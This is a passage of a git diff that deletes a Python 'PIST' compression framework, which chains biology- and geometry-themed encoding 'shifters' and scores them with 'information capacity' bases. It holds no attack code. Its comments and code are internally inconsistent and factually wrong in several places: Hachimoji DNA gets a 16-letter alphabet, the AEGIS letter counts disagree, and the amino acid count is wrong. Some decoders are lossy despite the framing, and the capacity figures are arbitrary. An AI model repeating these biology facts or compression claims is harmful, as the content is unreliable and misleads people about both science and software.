math.log2(max(1.0, self.n_factor)) / 8.0 # normalize to [0, ~1] - - return ratio * comp_eff * (stability + 0.5 * n_bonus) - - -class Shifter: - """ - Base class for all encoding shifters. - A shifter transforms manifold state in some encoding regime. - """ - - name = "BaseShifter" - - @classmethod - def encode(cls, state: ManifoldState) -> ManifoldState: - """Encode the manifold state. Returns new state with encoded representation.""" - raise NotImplementedError - - @classmethod - def decode(cls, state: ManifoldState) -> ManifoldState: - """Inverse operation. Returns decoded state.""" - raise NotImplementedError - - @classmethod - def n_factor(cls, depth: int = 1) -> float: - """n(shifter) exponential amplification factor.""" - return NExponent.n(cls.name, depth) - - @staticmethod - def chain(shifters: list, state: ManifoldState, direction: str = 'encode') -> ManifoldState: - """ - Chain multiple shifters in sequence. - ANY combination of ANY shifters is allowed. - direction: 'encode' (compress) or 'decode' (reconstruct) - """ - current = state - if direction == 'encode': - for shifter_cls in shifters: - current = shifter_cls.encode(current) - else: - for shifter_cls in reversed(shifters): - current = shifter_cls.decode(current) - return current diff --git a/3-Mathematical-Models/pist_biological_polymorphic_shifter_v3_complete.py b/3-Mathematical-Models/pist_biological_polymorphic_shifter_v3_complete.py deleted file mode 100644 index ba3ffcfd..00000000 --- a/3-Mathematical-Models/pist_biological_polymorphic_shifter_v3_complete.py +++ /dev/null @@ -1,3972 +0,0 @@ -#!/usr/bin/env python3 -""" -PIST Biological Polymorphic Shifter v3.0 — Complete Unified Fix -================================================================ -Single-file executable with ALL 14 critical bugs fixed. -Combines 28 shifters across synthetic biology, neuroscience, mycology, -prions, cellular automata, chaotic maps, Galois fields, and PIST geometry -into a unified polymorphic compression framework. - -Bug fixes applied: - B1-B2: Single-file eliminates cross-file import errors - B3: Removed self-import in optimizer - B4: Length-prefix header replaces 0x00 separator - B5: Translation uses unique single-letter AA codes (already safe) - B6: Wireworld decode documented as lossy - B7: CellularAutomata LUT precomputed at module level (once) - B8: Splicing positions use struct.pack (16-bit) - B9: Removed dead SHIFTER_CLASSES dict - B10: Hachimoji nibble uses modulo instead of min - B11: Optimizer passes existing state instead of re-encoding - B13: Hachimoji decode uses dict lookup (safe for non-alpha bytes) - B14: Huffman decode safe fallback - B15: Removed unreachable dead code in beam_search - -Usage: - python3 pist_biological_polymorphic_shifter_v3_complete.py # demo - python3 pist_biological_polymorphic_shifter_v3_complete.py --benchmark path/to/file.tsv -""" - -# ═══════════════════════════════════════════════════════════════════════ -# IMPORTS (combined from all 4 parts) -# ═══════════════════════════════════════════════════════════════════════ -import struct -import math -import json -import time -import random -import sys -import hashlib -from collections import Counter, defaultdict -import heapq -from itertools import product, combinations, chain -from functools import lru_cache -from copy import deepcopy - -# ═══════════════════════════════════════════════════════════════════════ -# CONSTANTS & ALPHABETS (from Part1 + additions) -# ═══════════════════════════════════════════════════════════════════════ - -PHI = 1.618033988749894848204586834365638117720309179805762862135448 - -# --- Synthetic Biology Alphabets --- -HACHIMOJI_ALPHABET = "ACGTUBDHKMVRSWYN" # 16 letters (4 bits) -HACHIMOJI_LETTER_TO_VAL = {ord(c): i for i, c in enumerate(HACHIMOJI_ALPHABET)} -AEGIS_ALPHABET = "ACGTUBDHKMRSWYVNX" # 18 letters (~4.17 bits) - -STANDARD_CODON_TABLE = { - 'TTT': 'F', 'TTC': 'F', 'TTA': 'L', 'TTG': 'L', - 'TCT': 'S', 'TCC': 'S', 'TCA': 'S', 'TCG': 'S', - 'TAT': 'Y', 'TAC': 'Y', 'TAA': '*', 'TAG': '*', - 'TGT': 'C', 'TGC': 'C', 'TGA': '*', 'TGG': 'W', - 'CTT': 'L', 'CTC': 'L', 'CTA': 'L', 'CTG': 'L', - 'CCT': 'P', 'CCC': 'P', 'CCA': 'P', 'CCG': 'P', - 'CAT': 'H', 'CAC': 'H', 'CAA': 'Q', 'CAG': 'Q', - 'CGT': 'R', 'CGC': 'R', 'CGA': 'R', 'CGG': 'R', - 'ATT': 'I', 'ATC': 'I', 'ATA': 'I', 'ATG': 'M', - 'ACT': 'T', 'ACC': 'T', 'ACA': 'T', 'ACG': 'T', - 'AAT': 'N', 'AAC': 'N', 'AAA': 'K', 'AAG': 'K', - 'AGT': 'S', 'AGC': 'S', 'AGA': 'R', 'AGG': 'R', - 'GTT': 'V', 'GTC': 'V', 'GTA': 'V', 'GTG': 'V', - 'GCT': 'A', 'GCC': 'A', 'GCA': 'A', 'GCG': 'A', - 'GAT': 'D', 'GAC': 'D', 'GAA': 'E', 'GAG': 'E', - 'GGT': 'G', 'GGC': 'G', 'GGA': 'G', 'GGG': 'G', -} - -AMINO_CODONS = {} # reverse map: AA letter -> list of codons -for codon, aa in STANDARD_CODON_TABLE.items(): - AMINO_CODONS.setdefault(aa, []).append(codon) -for aa in AMINO_CODONS: - AMINO_CODONS[aa].sort() # deterministic - -AMINO_ACIDS = sorted(set(STANDARD_CODON_TABLE.values())) # 24 letters - -BASE_PAIRS = {'A': 'T', 'T': 'A', 'C': 'G', 'G': 'C', - 'U': 'A', 'B': 'V', 'D': 'H', 'K': 'M', - 'R': 'Y', 'S': 'W', 'W': 'S', 'Y': 'R', - 'V': 'B', 'H': 'D', 'N': 'N', 'X': 'X'} - -# --- Prion HMM Alphabet --- -PRION_ALPHABET = "STYCNQKRHDEAVGILMFPW" # 20 amino acids + * -PRION_ALPHABET_SIZE = 20 -PRION_HMM = { # P(emit | state) - 3-state HMM (N, H1, H2) - 'N': {'S':0.15,'T':0.10,'Y':0.05,'C':0.02,'N':0.08,'Q':0.05, - 'K':0.03,'R':0.02,'H':0.02,'D':0.04,'E':0.04,'A':0.08, - 'V':0.06,'G':0.10,'I':0.03,'L':0.04,'M':0.02,'F':0.02, - 'P':0.02,'W':0.01,'*':0.02}, - 'H1': {'S':0.02,'T':0.02,'Y':0.15,'C':0.10,'N':0.02,'Q':0.15, - 'K':0.01,'R':0.01,'H':0.12,'D':0.01,'E':0.01,'A':0.02, - 'V':0.02,'G':0.01,'I':0.01,'L':0.10,'M':0.05,'F':0.07, - 'P':0.05,'W':0.04,'*':0.01}, - 'H2': {'S':0.03,'T':0.03,'Y':0.10,'C':0.08,'N':0.03,'Q':0.10, - 'K':0.02,'R':0.02,'H':0.10,'D':0.02,'E':0.02,'A':0.03, - 'V':0.03,'G':0.02,'I':0.02,'L':0.12,'M':0.06,'F':0.08, - 'P':0.04,'W':0.03,'*':0.02}, -} - -# --- Shifter Bases (NExponent information capacity) --- -SHIFTER_BASES = { - 'hachimoji': 3.0, # log₂(16) = 4, but effective ~3 due to constraints - 'aegis': 3.585, # log₂(18) ≈ 4.17, reduced for wobble - 'natural_dna': 2.0, # 4 bases, reduced by pairing constraints - 'transcription': 2.0, - 'translation': 3.0, - 'pna': 2.5, # Peptide Nucleic Acid - 'lna': 2.5, # Locked Nucleic Acid - 'splicing': 1.5, # Alternative splicing - 'prion': 3.0, # 3-state HMM - 'spike_timing': 4.0, # Temporal coding - 'hyphal_net': 3.5, # Network routing - 'logistic_map': 2.0, # Chaotic dynamics - 'galois_ring': 4.0, # GF(256) arithmetic - 'sbox': 2.0, # 16×16 S-Box - 'wireworld': 1.5, # Cellular automaton - 'morpholino': 2.0, # Antisense oligo - 'pist': 2.5, # PIST geometry - 'pist_mirror': 2.5, # PIST mirror involution - 'pist_resonance': 2.5, # PIST resonance jump - 'delta_gcl': 1.5, # Delta encoding - 'run_length': 1.0, # RLE - 'huffman': 2.0, # Huffman coding - 'dse': 2.0, # Deterministic-Stochastic Engine - 'cellular_automata': 1.5, # 1D CA - 'mirna': 2.0, # miRNA silencing - 'stdp': 3.0, # Spike-Timing Dependent Plasticity - 'spiegelmer': 2.0, # Mirror-image aptamer - 'nu_vmap': 29.0, # PIST-NUVMAP projection (shifter #28) - 'holographic_connectome': 5.5, - 'holographic_connectome_interleaved': 5.2, - 'holographic_connectome_blocklocal': 5.0, - 'holographic_connectome_shadow': 4.8, - 'holographic_connectome_parity': 4.5, - 'pist_scalar_mass': 1.0, # 0D scalar mass (low entropy) - 'pist_scalar_tension': 1.5, # 0D scalar tension - 'pist_0d_degenerate': 0.5, # 0D degenerate (maximum compression) - 'pist_nd_cartesian': 3.0, # nD Cartesian (additive capacity) - 'pist_nd_radial': 2.5, # nD Radial (angular coupling) - 'pist_nd_bundle': 3.5, # nD Bundle (fiber dimension) - 'braid': 2.5, # Artin braid group B_n - 'multicolor_rope': 3.0, # Colored strand bundles - 'braid_rope_fusion': 4.0, # Braid-rope fusion - 'symbology_substitution': 3.5, # Symbolic substitution for pattern groups -} - - -# ═══════════════════════════════════════════════════════════════════════ -# PIST GEOMETRY FUNCTIONS (Perfectly Imperfect Square Theory) -# ═══════════════════════════════════════════════════════════════════════ - -def pist_encode(n): - """Encode integer n to PIST coordinate (k, t). - n = k² + t, where k = floor(√n), 0 ≤ t ≤ 2k.""" - if n < 0: - raise ValueError(f"PIST encode requires n >= 0, got {n}") - k = int(math.isqrt(n)) - t = n - k * k - return (k, t) - -def pist_decode(k, t): - """Decode PIST coordinate (k, t) back to integer n.""" - return k * k + t - -def pist_mass(k, t): - """PIST mass = a·b = t·(2k+1-t). Zero at shell endpoints, positive inside.""" - return t * (2 * k + 1 - t) - -def pist_normalized_tension(k, t): - """Normalized tension ρ = t/(2k+1) ∈ [0, 1).""" - return t / (2 * k + 1) if (2 * k + 1) > 0 else 0.0 - -def pist_mirror(k, t): - """Mirror involution: (k, t) → (k, 2k+1-t). Preserves mass, self-inverse.""" - return (k, 2 * k + 1 - t) - -def intrinsic_load(data): - """Shannon entropy of byte distribution: H = -Σ p(b) log₂ p(b).""" - if not data: - return 0.0 - c = Counter(data) - n = len(data) - return -sum((cnt / n) * math.log2(cnt / n) for cnt in c.values()) - - -# ═══════════════════════════════════════════════════════════════════════ -# 0D SCALAR PIST FUNCTIONS (Degenerate limit) -# ═══════════════════════════════════════════════════════════════════════ - -def pist_scalar_mass(n): - """0D: Only the mass value, no coordinate info. - Maps ℕ → ℕ (single scalar mass value). - """ - k = int(math.isqrt(n)) - t = n - k * k - return t * (2 * k + 1 - t) - -def pist_scalar_tension(n): - """0D: Normalized tension as scalar in [0, 1). - Maps ℕ → [0, 1). - """ - k = int(math.isqrt(n)) - t = n - k * k - return t / (2 * k + 1) if (2 * k + 1) > 0 else 0.0 - -def pist_0d_degenerate(n): - """0D: Shell width → 0, collapse to discrete mass levels (perfect squares). - Maximum compression, irreversible. - """ - k = int(math.isqrt(n)) - return k * k - -def pist_scalar_phase(n): - """0D: Phase classification based on scalar mass. - Returns: 'grounded' (mass=0), 'low' (mass < threshold), 'high' (mass >= threshold). - """ - m = pist_scalar_mass(n) - if m == 0: - return 'grounded' - elif m < 4: - return 'low' - else: - return 'high' - - -# ═══════════════════════════════════════════════════════════════════════ -# nD PIST GEOMETRY FUNCTIONS (Multi-dimensional extension) -# ═══════════════════════════════════════════════════════════════════════ - -def pist_nd_cartesian_encode(data, n_dims=2): - """nD Cartesian: Independent PIST encoding per dimension. - data: bytes to encode - n_dims: number of dimensions - Returns: list of (k, t) tuples per dimension - """ - coords = [] - for dim in range(n_dims): - dim_coords = [] - # Interleave bytes across dimensions - dim_data = data[dim::n_dims] - for b in dim_data: - k, t = pist_encode(b) - dim_coords.append((k, t)) - coords.append(dim_coords) - return coords - -def pist_nd_cartesian_decode(coords): - """nD Cartesian: Decode independent PIST coordinates back to bytes.""" - n_dims = len(coords) - max_len = max(len(c) for c in coords) if coords else 0 - result = bytearray() - - for i in range(max_len): - for dim in range(n_dims): - if i < len(coords[dim]): - k, t = coords[dim][i] - n = pist_decode(k, t) - result.append(n & 0xFF) - return bytes(result) - -def pist_nd_cartesian_mass(coords): - """nD Cartesian: Total mass = sum of per-dimension masses.""" - total = 0 - for dim_coords in coords: - for k, t in dim_coords: - total += pist_mass(k, t) - return total - -def pist_nd_radial_encode(data, n_dims=2): - """nD Radial: Single shell index, n-dimensional offset. - Uses spherical-like coordinates where offset vector has constrained magnitude. - """ - k = int(math.isqrt(len(data))) - coords = [] - - # Distribute data across n dimensions as offset vector - chunk_size = max(1, len(data) // n_dims) - for dim in range(n_dims): - start = dim * chunk_size - end = min(start + chunk_size, len(data)) - chunk = data[start:end] - - # Compute offset as sum of chunk (quantized) - t = sum(chunk) % (2 * k + 1) if (2 * k + 1) > 0 else 0 - coords.append((k, t)) - - return coords - -def pist_nd_radial_decode(coords, original_len): - """nD Radial: Decode by reconstructing from radial coordinates.""" - k = coords[0][0] if coords else 0 - # Simple reconstruction: distribute evenly - n_dims = len(coords) - chunk_size = max(1, original_len // n_dims) - result = bytearray() - - for dim in range(n_dims): - k, t = coords[dim] - # Reconstruct chunk from offset - chunk = [t] * chunk_size - result.extend(chunk[:chunk_size]) - - return bytes(result[:original_len]) - -def pist_nd_radial_mass(coords): - """nD Radial: Mass with angular coupling.""" - if not coords: - return 0 - k = coords[0][0] - total = 0 - for _, t in coords: - total += t * (2 * k + 1 - t) - return total - -def pist_nd_bundle_encode(data, n_dims=2, fiber_dim=4): - """nD Bundle: Shell index as base, fiber dimension per shell. - Each shell k has an n-dimensional fiber space. - """ - coords = [] - for i, b in enumerate(data): - k, t = pist_encode(b) - # Add fiber coordinate (additional dimensions per point) - fiber = [b % fiber_dim for _ in range(n_dims - 1)] - coords.append((k, t, tuple(fiber))) - return coords - -def pist_nd_bundle_decode(coords): - """nD Bundle: Decode by reconstructing from bundle coordinates.""" - result = bytearray() - for k, t, fiber in coords: - n = pist_decode(k, t) - result.append(n & 0xFF) - return bytes(result) - -def pist_nd_bundle_mass(coords): - """nD Bundle: Mass = base mass + fiber contribution.""" - total = 0 - for k, t, fiber in coords: - base_mass = pist_mass(k, t) - fiber_mass = sum(fiber) if fiber else 0 - total += base_mass + fiber_mass - return total - -def pist_nd_resonance_jump(coords, mode='cartesian'): - """nD Resonance: Find equal-mass coordinates in nD space.""" - if mode == 'cartesian': - # Per-dimension independent resonance - return [[pist_mirror(k, t) for k, t in dim_coords] for dim_coords in coords] - elif mode == 'radial': - # Rotate on isomass hyper-surface - k = coords[0][0] if coords else 0 - return [(k, (2 * k + 1 - t) % (2 * k + 1)) for k, t in coords] - elif mode == 'bundle': - # Bundle resonance: mirror base, permute fiber - return [(k, 2 * k + 1 - t, tuple(reversed(fiber))) for k, t, fiber in coords] - return coords - - -# ═══════════════════════════════════════════════════════════════════════ -# BRAID GEOMETRY FUNCTIONS (Artin braid group B_n) -# ═══════════════════════════════════════════════════════════════════════ - -def braid_encode_crossing(byte_val, n_strands=3): - """Encode a byte as a braid crossing generator. - Maps byte to σ_i or σ_i^-1 based on bit patterns. - Returns: (strand_index, direction) where direction = +1 or -1 - """ - strand = byte_val % n_strands - # Use high bit for crossing direction - direction = 1 if (byte_val & 0x80) else -1 - return (strand, direction) - -def braid_word_to_bytes(braid_word, n_strands=3): - """Convert a braid word (sequence of crossings) back to bytes. - braid_word: list of (strand_index, direction) tuples - """ - result = bytearray() - for strand, direction in braid_word: - byte = strand - if direction == 1: - byte |= 0x80 # Set high bit for positive crossing - result.append(byte) - return bytes(result) - -def braid_simplify(braid_word): - """Simplify braid word using braid relations: - 1. σ_i σ_i^-1 = identity (cancel inverses) - 2. σ_i σ_j = σ_j σ_i for |i-j| > 1 (far commutativity) - Returns simplified braid word. - """ - if not braid_word: - return braid_word - - # Cancel adjacent inverses - simplified = [] - for crossing in braid_word: - if simplified and simplified[-1][0] == crossing[0] and simplified[-1][1] == -crossing[1]: - simplified.pop() # Cancel - else: - simplified.append(crossing) - - # Apply far commutativity (sort non-adjacent crossings) - # This is a simplified version - full braid reduction is more complex - return simplified - -def braid_compute_entropy(braid_word): - """Compute entropy of braid word based on crossing distribution.""" - if not braid_word: - return 0.0 - - from collections import Counter - crossing_counts = Counter(braid_word) - total = len(braid_word) - - entropy = 0.0 - for count in crossing_counts.values(): - p = count / total - if p > 0: - entropy -= p * math.log2(p) - - return entropy - -def braid_composition(braid1, braid2): - """Compose two braid words (concatenation in braid group).""" - return braid1 + braid2 - -def braid_inverse(braid_word): - """Compute inverse of braid word (reverse and flip all crossings).""" - return [(strand, -direction) for strand, direction in reversed(braid_word)] - - -# ═══════════════════════════════════════════════════════════════════════ -# MULTICOLOR ROPE GEOMETRY FUNCTIONS (Colored strand bundles) -# ═══════════════════════════════════════════════════════════════════════ - -def rope_encode_colored_strand(byte_val, n_colors=8): - """Encode a byte as a colored strand in a rope. - Returns: (strand_index, color_index, twist) - """ - strand = byte_val % 3 # 3 strands in rope - color = (byte_val >> 2) % n_colors # Color from bits 2-4 - twist = (byte_val >> 5) & 0x07 # Twist from bits 5-7 (3 bits) - return (strand, color, twist) - -def rope_word_to_bytes(rope_word): - """Convert rope word (colored strands) back to bytes.""" - result = bytearray() - for strand, color, twist in rope_word: - byte = strand | (color << 2) | (twist << 5) - result.append(byte & 0xFF) - return bytes(result) - -def rope_compute_tension(rope_word): - """Compute rope tension based on twist distribution.""" - if not rope_word: - return 0.0 - - twists = [twist for _, _, twist in rope_word] - avg_twist = sum(twists) / len(twists) - max_twist = max(twists) if twists else 0 - - # Tension increases with twist variance - variance = sum((t - avg_twist) ** 2 for t in twists) / len(twists) - tension = math.sqrt(variance) / 7.0 # Normalize by max twist - return min(tension, 1.0) - -def rope_color_entropy(rope_word, n_colors=8): - """Compute entropy of color distribution in rope.""" - if not rope_word: - return 0.0 - - from collections import Counter - colors = [color for _, color, _ in rope_word] - color_counts = Counter(colors) - total = len(colors) - - entropy = 0.0 - for count in color_counts.values(): - p = count / total - if p > 0: - entropy -= p * math.log2(p) - - return entropy - -def rope_braid_fusion(rope_word, braid_word): - """Fuse rope word with braid word (apply braid to rope strands). - Returns fused rope word with strand permutations from braid. - """ - if not rope_word or not braid_word: - return rope_word - - # Apply strand permutations from braid crossings - # Simplified: just add braid information to rope - fused = [] - rope_idx = 0 - for strand, direction in braid_word: - if rope_idx < len(rope_word): - r_strand, color, twist = rope_word[rope_idx] - # Strand crossing modifies strand index - new_strand = (r_strand + direction) % 3 - fused.append((new_strand, color, twist)) - rope_idx += 1 - - # Add remaining rope strands - while rope_idx < len(rope_word): - fused.append(rope_word[rope_idx]) - rope_idx += 1 - - return fused - - -# ═══════════════════════════════════════════════════════════════════════ -# COMPRESSION MEME DISCOVERY (Pattern discovery + eigenvector abstraction) -# ═══════════════════════════════════════════════════════════════════════ - -def discover_compression_memes(data_samples, min_pattern_length=3, min_frequency=2): - """Discover recurring compression patterns (memes) in data samples. - Returns: dict of {pattern: frequency} - """ - from collections import Counter - patterns = Counter() - - for data in data_samples: - data_bytes = bytes(data) if not isinstance(data, bytes) else data - for length in range(min_pattern_length, min(len(data_bytes), 16)): - for i in range(len(data_bytes) - length + 1): - pattern = data_bytes[i:i+length] - patterns[pattern] += 1 - - # Filter by minimum frequency - memes = {p: f for p, f in patterns.items() if f >= min_frequency} - return memes - -def compute_pattern_matrix(memes, data_samples): - """Compute pattern occurrence matrix for eigenvector decomposition. - Returns: numpy array (samples × patterns) - """ - import numpy as np - pattern_list = list(memes.keys()) - matrix = np.zeros((len(data_samples), len(pattern_list))) - - for i, data in enumerate(data_samples): - data_bytes = bytes(data) if not isinstance(data, bytes) else data - for j, pattern in enumerate(pattern_list): - # Count pattern occurrences - count = 0 - for k in range(len(data_bytes) - len(pattern) + 1): - if data_bytes[k:k+len(pattern)] == pattern: - count += 1 - matrix[i, j] = count - - return matrix, pattern_list - -def semantic_eigenvector_bundle(pattern_matrix, n_components=5): - """Perform eigenvector decomposition (PCA) on pattern matrix. - Returns: (principal_components, explained_variance, pattern_list) - """ - import numpy as np - - # Center the data - centered = pattern_matrix - pattern_matrix.mean(axis=0) - - # Compute covariance matrix - cov_matrix = np.cov(centered, rowvar=False) - - # Eigendecomposition - eigenvalues, eigenvectors = np.linalg.eigh(cov_matrix) - - # Sort by eigenvalue (descending) - idx = eigenvalues.argsort()[::-1] - eigenvalues = eigenvalues[idx] - eigenvectors = eigenvectors[:, idx] - - # Take top n_components - n = min(n_components, len(eigenvalues)) - principal_components = eigenvectors[:, :n] - explained_variance = eigenvalues[:n] / eigenvalues.sum() - - return principal_components, explained_variance - -def cluster_by_utility(pattern_matrix, performance_metrics, n_clusters=3): - """Cluster compression strategies by utility (performance metrics). - Returns: cluster assignments for each sample. - """ - import numpy as np - from sklearn.cluster import KMeans - - # Combine pattern matrix with performance metrics - combined = np.hstack([pattern_matrix, np.array(performance_metrics).reshape(-1, 1)]) - - # Normalize - normalized = (combined - combined.mean(axis=0)) / (combined.std(axis=0) + 1e-8) - - # Cluster - kmeans = KMeans(n_clusters=n_clusters, random_state=42) - clusters = kmeans.fit_predict(normalized) - - return clusters, kmeans.cluster_centers_ - -class CompressionMemeCache: - """Cache successful compression patterns (morphology memes).""" - - def __init__(self): - self.memes = {} # {pattern: {frequency, utility, last_used}} - self.eigenvectors = None - self.cluster_centers = None - - def add_meme(self, pattern, utility_score, shifter_chain): - """Add a compression meme to cache.""" - import hashlib - pattern_hash = hashlib.sha256(pattern).hexdigest() - - if pattern_hash not in self.memes: - self.memes[pattern_hash] = { - 'pattern': pattern, - 'frequency': 0, - 'utility_score': 0.0, - 'shifter_chain': shifter_chain, - 'last_used': 0 - } - - self.memes[pattern_hash]['frequency'] += 1 - self.memes[pattern_hash]['utility_score'] = ( - (self.memes[pattern_hash]['utility_score'] * (self.memes[pattern_hash]['frequency'] - 1) + utility_score) - / self.memes[pattern_hash]['frequency'] - ) - self.memes[pattern_hash]['last_used'] = 0 # Update with timestamp if needed - - def get_best_meme(self, data, top_k=5): - """Retrieve top-k memes by utility score for given data.""" - import hashlib - - # Find memes that appear in data - data_bytes = bytes(data) if not isinstance(data, bytes) else data - matching = [] - - for pattern_hash, meme in self.memes.items(): - if meme['pattern'] in data_bytes: - matching.append((meme['utility_score'], pattern_hash, meme)) - - # Sort by utility score and return top-k - matching.sort(key=lambda x: x[0], reverse=True) - return matching[:top_k] - - def prune_low_utility(self, utility_threshold=0.5): - """Remove memes below utility threshold.""" - to_remove = [ - ph for ph, m in self.memes.items() - if m['utility_score'] < utility_threshold - ] - for ph in to_remove: - del self.memes[ph] - - -# ═══════════════════════════════════════════════════════════════════════ -# NEXPONENT SYSTEM -# ═══════════════════════════════════════════════════════════════════════ - -class NExponent: - """NExponent: n(name, depth) = base^depth (information capacity).""" - - @staticmethod - def n(shifter_name, depth=1): - base = SHIFTER_BASES.get(shifter_name, 2.0) - return base ** depth - - @staticmethod - def n_combined(shifter_names, depths=None): - if depths is None: - depths = [1] * len(shifter_names) - total = 1.0 - for name, d in zip(shifter_names, depths): - total *= NExponent.n(name, d) - return total - - @staticmethod - def entropy_ratio(n_factor, original_entropy): - """Ratio of combined N-factor to original entropy.""" - if original_entropy <= 0: - return n_factor - return n_factor / original_entropy - - @staticmethod - def all_bases(): - return dict(SHIFTER_BASES) - - -# ═══════════════════════════════════════════════════════════════════════ -# MANIFOLD STATE -# ═══════════════════════════════════════════════════════════════════════ - -class ManifoldState: - """Tracks transformation state through the shifter chain.""" - - def __init__(self, raw_bytes=None): - self.raw_bytes = bytearray(raw_bytes) if raw_bytes else bytearray() - self.pist_coords = [] # list of (k, t) tuples - self.shifter_chain = [] # list of shifter names applied - self.encoded = bytearray() # current encoded representation - self.n_factor = 1.0 # combined NExponent product - self.entropy = 0.0 # Shannon entropy - self.metadata = {} # extra info per shifter - self.compression_ratio = 1.0 - self.fitness_score = 0.0 - - def update(self, encoded, shifter_name, metadata=None): - self.encoded = bytearray(encoded) - self.shifter_chain.append(shifter_name) - self.n_factor *= NExponent.n(shifter_name) - self.entropy = intrinsic_load(encoded) - if metadata: - self.metadata[shifter_name] = metadata - return self - - def copy(self): - return deepcopy(self) - - -# ═══════════════════════════════════════════════════════════════════════ -# SHIFTER BASE CLASS -# ═══════════════════════════════════════════════════════════════════════ - -class Shifter: - """Base class for all shifters. Subclasses must implement encode/decode.""" - - name = "base_shifter" - description = "Base shifter — should not be instantiated directly." - - @classmethod - def encode(cls, state, **kwargs): - raise NotImplementedError - - @classmethod - def decode(cls, state, **kwargs): - raise NotImplementedError - - @classmethod - def chain(cls, state, shifter_classes, **kwargs): - """Apply multiple shifters in sequence.""" - current = state - for sc in shifter_classes: - current = sc.encode(current, **kwargs) - return current - - @classmethod - def fitness(cls, original_size, compressed_size, n_factor, comp_eff, stability=1.0): - ratio = original_size / max(compressed_size, 1) - n_bonus = n_factor / max(original_size, 1) - return ratio * comp_eff * (stability + 0.5 * n_bonus) - - -# ═══════════════════════════════════════════════════════════════════════ -# PIST HELPER (for shifters) -# ═══════════════════════════════════════════════════════════════════════ - -def _pist_coords_from_bytes(data): - """Convert bytes to PIST coordinates.""" - coords = [] - for b in data: - try: - k, t = pist_encode(b) - coords.append((k, t)) - except ValueError: - coords.append((0, 0)) - return coords - -def _bytes_from_pist_coords(coords): - """Convert PIST coordinates back to bytes.""" - result = bytearray() - for k, t in coords: - n = pist_decode(k, t) - result.append(min(max(n, 0), 255)) - return bytes(result) - - -# ═══════════════════════════════════════════════════════════════════════ -# SHIFTER 1: HACHIMOJI (8-letter synthetic DNA) -# ═══════════════════════════════════════════════════════════════════════ - -class HachimojiShifter(Shifter): - name = "hachimoji" - description = "Hachimoji 8-letter synthetic DNA (4 bits/nucleotide)" - - @classmethod - def encode(cls, state, **kwargs): - data = bytes(state.encoded) if state.encoded else bytes(state.raw_bytes) - letters = HACHIMOJI_ALPHABET - result = [] - for b in data: - hi = (b >> 4) & 0x0F - lo = b & 0x0F - # FIX B10: Use modulo instead of min to avoid information loss - result.append(letters[hi % len(letters)]) - result.append(letters[lo % len(letters)]) - encoded = ''.join(result).encode('ascii') - return state.update(encoded, cls.name, - {'nibbles': len(result), 'letters': len(letters)}) - - @classmethod - def decode(cls, state, **kwargs): - raw = state.encoded - if isinstance(raw, (bytes, bytearray)): - data = raw.decode('ascii', errors='replace') - else: - data = raw - ltv = HACHIMOJI_LETTER_TO_VAL - result = bytearray() - for i in range(0, len(data), 2): - if i + 1 >= len(data): - break - hi = ltv.get(ord(data[i]), ord(data[i]) % 16) - lo = ltv.get(ord(data[i + 1]), ord(data[i + 1]) % 16) - result.append(((hi & 0x0F) << 4) | (lo & 0x0F)) - return state.update(result, f"decode_{cls.name}") - - -# ═══════════════════════════════════════════════════════════════════════ -# SHIFTER 2: AEGIS (expanded genetic alphabet) -# ═══════════════════════════════════════════════════════════════════════ - -class AEGISShifter(Shifter): - name = "aegis" - description = "AEGIS 6-letter expanded genetic alphabet (~2.58 bits/nucleotide)" - - @classmethod - def encode(cls, state, **kwargs): - data = bytes(state.encoded) if state.encoded else bytes(state.raw_bytes) - letters = AEGIS_ALPHABET - result = [] - for b in data: - hi = (b >> 4) & 0x0F - lo = b & 0x0F - result.append(letters[hi % len(letters)]) - result.append(letters[lo % len(letters)]) - encoded = ''.join(result).encode('ascii') - return state.update(encoded, cls.name, {'letters': len(letters)}) - - @classmethod - def decode(cls, state, **kwargs): - raw = state.encoded - if isinstance(raw, (bytes, bytearray)): - data = raw.decode('ascii', errors='replace') - else: - data = raw - letters = AEGIS_ALPHABET - result = bytearray() - for i in range(0, len(data), 2): - if i + 1 >= len(data): - break - hi = letters.index(data[i]) - lo = letters.index(data[i + 1]) - result.append(((hi & 0x0F) << 4) | (lo & 0x0F)) - return state.update(result, f"decode_{cls.name}") - - -# ═══════════════════════════════════════════════════════════════════════ -# SHIFTER 3: NATURAL DNA (4-base encoding) -# ═══════════════════════════════════════════════════════════════════════ - -class NaturalDNAShifter(Shifter): - name = "natural_dna" - description = "Natural 4-base DNA encoding (2 bits/nucleotide)" - - DNA_BASES = "ACGT" - - @classmethod - def encode(cls, state, **kwargs): - data = bytes(state.encoded) if state.encoded else bytes(state.raw_bytes) - bases = cls.DNA_BASES - result = [] - for b in data: - result.append(bases[(b >> 6) & 0x03]) - result.append(bases[(b >> 4) & 0x03]) - result.append(bases[(b >> 2) & 0x03]) - result.append(bases[b & 0x03]) - encoded = ''.join(result).encode('ascii') - return state.update(encoded, cls.name, {'bases_per_byte': 4}) - - @classmethod - def decode(cls, state, **kwargs): - raw = state.encoded - if isinstance(raw, (bytes, bytearray)): - data = raw.decode('ascii', errors='replace') - else: - data = raw - - bases = cls.DNA_BASES - result = bytearray() - for i in range(0, len(data), 4): - if i + 3 >= len(data): - break - b = (bases.index(data[i]) << 6) | (bases.index(data[i+1]) << 4) | \ - (bases.index(data[i+2]) << 2) | bases.index(data[i+3]) - result.append(b) - return state.update(result, f"decode_{cls.name}") - - -# ═══════════════════════════════════════════════════════════════════════ -# SHIFTER 4: TRANSCRIPTION (DNA → RNA) -# ═══════════════════════════════════════════════════════════════════════ - -class TranscriptionShifter(Shifter): - name = "transcription" - description = "DNA-to-RNA transcription (T→U replacement)" - - @classmethod - def encode(cls, state, **kwargs): - data = state.encoded if state.encoded else state.raw_bytes - text = data.decode('ascii', errors='replace').upper() - rna = text.replace('T', 'U') - # Force clean ASCII: strip any non-ASCII replacement chars - rna_clean = rna.encode('ascii', errors='ignore').decode('ascii') - return state.update(rna_clean.encode('ascii'), cls.name, {'mapping': 'T→U'}) - - @classmethod - def decode(cls, state, **kwargs): - raw = state.encoded - if isinstance(raw, (bytes, bytearray)): - data = raw.decode('ascii', errors='replace') - else: - data = raw - dna = data.replace('U', 'T') - dna_clean = dna.encode('ascii', errors='ignore').decode('ascii') - return state.update(dna_clean.encode('ascii'), f"decode_{cls.name}") - - -# ═══════════════════════════════════════════════════════════════════════ -# SHIFTER 5: TRANSLATION (RNA → Amino Acids) -# ═══════════════════════════════════════════════════════════════════════ - -class TranslationShifter(Shifter): - name = "translation" - description = "RNA-to-protein translation via standard codon table" - - @classmethod - def encode(cls, state, **kwargs): - data = state.encoded if state.encoded else state.raw_bytes - rna = data.decode('ascii', 